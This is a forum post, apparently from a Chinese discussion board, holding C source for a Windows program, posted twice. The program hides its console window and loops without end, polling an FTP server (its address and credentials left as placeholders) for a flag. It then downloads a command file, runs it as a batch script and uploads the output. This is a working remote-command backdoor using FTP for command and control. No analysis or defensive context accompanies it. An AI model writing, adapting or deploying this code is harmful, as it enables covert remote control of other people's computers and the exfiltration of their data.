level 11
瑶星旻月♤
楼主
#include <stdio.h>
#include <windows.h>
/*创建上传和下载文件的bat*/
extern "C" HWND __stdcall GetConsoleWindow();//
void createbat();
void createbat()
{
//下载命令标志_fc文件
FILE *f_fcbat,*f_rbat,*f_cbat,*f_ufcbat;
f_fcbat = fopen("c:\\temp\\fcbat", "w");
if(f_fcbat != NULL)
{
fputs("ftp地址\nftp用户名\nftp密码\nbin\ncd db\nlcd c:\\temp\nget _fc\nbye\n",f_fcbat);
}
fclose(f_fcbat);
//上传执行结果_r文件
f_rbat = fopen("c:\\temp\\rbat", "w");
if(f_rbat != NULL)
{
fputs("ftp地址\nftp用户名\nftp密码\nbin\ncd db\nput c:\\temp\\_r\nbye\n",f_rbat);
}
fclose(f_rbat);
//下载命令文件_c
f_cbat = fopen("c:\\temp\\cbat", "w");
if(f_cbat != NULL)
{
fputs("ftp地址\nftp用户名\nftp密码\nbin\ncd db\nlcd c:\\temp\nget _c\nbye\n",f_cbat);
}
fclose(f_cbat);
//上传结果标志文件_fc
f_ufcbat = fopen("c:\\temp\\ufcbat", "w");
if(f_ufcbat != NULL)
{
fputs("ftp地址\nftp用户名\nftp密码\nbin\ncd db\nput c:\\temp\\_fc\nbye\n",f_ufcbat);
}
fclose(f_ufcbat);
}
//读取标志文件中的值并返回
int readfc();
int readfc()
{
FILE *ftemp;
int a;
ftemp = fopen("c:\\temp\\_fc","r");
a = fgetc(ftemp);
fclose(ftemp);
return a;
}//执行下载的文件并保存到文件中
void excute();
void excute()
{
system("type c:\\temp\\_c>c:\\temp\\cmd.bat&c:\\temp\\cmd.bat>c:\\temp\\_r");
}//设置标志位为零
void set_fc();
void set_fc()
{
FILE *setfc;
setfc = fopen("c:\\temp\\_fc", "w");
if(setfc != NULL)
{
fputs("0",setfc);
}
fclose(setfc);
}void main()
{
HWND hwnd = GetConsoleWindow();
ShowWindow(hwnd, SW_HIDE);
createbat();
while(1)
{
system("ftp -s:\"c:\\temp\\fcbat\"");
if(readfc()=='1')
{
system("ftp -s:\"c:\\temp\\cbat\"");
excute();
set_fc();
system("ftp -s:\"c:\\temp\\rbat\"");
system("ftp -s:\"c:\\temp\\ufcbat\"");
system("cls");
}
system("cls");
}
}
2014年12月08日 10点12分
1
#include <windows.h>
/*创建上传和下载文件的bat*/
extern "C" HWND __stdcall GetConsoleWindow();//
void createbat();
void createbat()
{
//下载命令标志_fc文件
FILE *f_fcbat,*f_rbat,*f_cbat,*f_ufcbat;
f_fcbat = fopen("c:\\temp\\fcbat", "w");
if(f_fcbat != NULL)
{
fputs("ftp地址\nftp用户名\nftp密码\nbin\ncd db\nlcd c:\\temp\nget _fc\nbye\n",f_fcbat);
}
fclose(f_fcbat);
//上传执行结果_r文件
f_rbat = fopen("c:\\temp\\rbat", "w");
if(f_rbat != NULL)
{
fputs("ftp地址\nftp用户名\nftp密码\nbin\ncd db\nput c:\\temp\\_r\nbye\n",f_rbat);
}
fclose(f_rbat);
//下载命令文件_c
f_cbat = fopen("c:\\temp\\cbat", "w");
if(f_cbat != NULL)
{
fputs("ftp地址\nftp用户名\nftp密码\nbin\ncd db\nlcd c:\\temp\nget _c\nbye\n",f_cbat);
}
fclose(f_cbat);
//上传结果标志文件_fc
f_ufcbat = fopen("c:\\temp\\ufcbat", "w");
if(f_ufcbat != NULL)
{
fputs("ftp地址\nftp用户名\nftp密码\nbin\ncd db\nput c:\\temp\\_fc\nbye\n",f_ufcbat);
}
fclose(f_ufcbat);
}
//读取标志文件中的值并返回
int readfc();
int readfc()
{
FILE *ftemp;
int a;
ftemp = fopen("c:\\temp\\_fc","r");
a = fgetc(ftemp);
fclose(ftemp);
return a;
}//执行下载的文件并保存到文件中
void excute();
void excute()
{
system("type c:\\temp\\_c>c:\\temp\\cmd.bat&c:\\temp\\cmd.bat>c:\\temp\\_r");
}//设置标志位为零
void set_fc();
void set_fc()
{
FILE *setfc;
setfc = fopen("c:\\temp\\_fc", "w");
if(setfc != NULL)
{
fputs("0",setfc);
}
fclose(setfc);
}void main()
{
HWND hwnd = GetConsoleWindow();
ShowWindow(hwnd, SW_HIDE);
createbat();
while(1)
{
system("ftp -s:\"c:\\temp\\fcbat\"");
if(readfc()=='1')
{
system("ftp -s:\"c:\\temp\\cbat\"");
excute();
set_fc();
system("ftp -s:\"c:\\temp\\rbat\"");
system("ftp -s:\"c:\\temp\\ufcbat\"");
system("cls");
}
system("cls");
}
}